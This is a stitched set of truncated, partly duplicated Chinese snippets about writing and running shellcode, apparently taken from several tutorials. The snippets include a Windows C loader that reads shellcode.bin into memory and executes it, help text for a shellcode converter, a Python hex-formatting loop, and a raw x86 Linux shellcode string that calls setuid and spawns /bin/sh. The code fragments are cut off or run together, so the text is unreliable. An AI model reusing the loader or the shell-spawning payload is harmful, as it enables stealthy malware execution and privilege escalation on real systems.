我们可以通过IDA来分析bin文件 打开后直接按c键,将其转为代码 注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧 之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据 双击跟入sub_17...
我们可以通过IDA来分析bin文件 打开后直接按c键,将其转为代码 注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧 之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据 双击跟入sub_17...
1通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可.23#include <stdio.h>4#include <Windows.h>56intmain(intargc,char*argv[])7{8HANDLE fp;9unsignedchar*fBuffer;10DWORD fSize, dwSize;1112fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,13O...
通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可. #include <stdio.h> #include <Windows.h> int main(int argc, char * argv[]) { HANDLE fp; unsigned char * fBuffer; DWORD fSize, dwSize; fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NUL...
(C,C#,CPP,ASM) options: -h, --help show this help message and exit -bin BIN Input shellcode binary file -c C Convert binart into C raw shellcode -cpp CPP Convert binary into CPP raw shellcode -cs CS Convert binary into C# raw shellcode -asm ASM Convert binary into (NASM) raw ...
有了这个,我们就能通过shell_code函数开头和END_SHELLCODE函数开头间的距离来确定shellcode的长度了。还有,C语言在这里所体现的好处就是我们能够把程序本身当作一段数据来访问,所以如果我们需要把shellcode写到另外一份文件中,仅需简单的调用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
最后,我们将动态读取Shellcode并在内存中执行它。以下是实现这一步的C代码: #include<stdio.h>#include<Windows.h>intmain(intargc,char*argv[]){HANDLE fp;unsignedchar*fBuffer;DWORD fSize,dwSize;fp=CreateFile(L"d://shellcode.bin",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL...
我们就拿这个工具执行一下我们生成的sc.bin,将sc.bin拖入工具中,我们可以点击转成字符串形式这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了...
#filename = "C:\\Users\\liang\\Desktop\\payload" shellcode = "{" ctr = 1 maxlen = 15 for b in open(filename, "rb").read(): shellcode += "0x" + str(binascii.hexlify(b.to_bytes(length=1, byteorder='big')))[2:4] + "," ...
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt "\x6a\x17\x58\x31\xdb\xcd\x80" "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe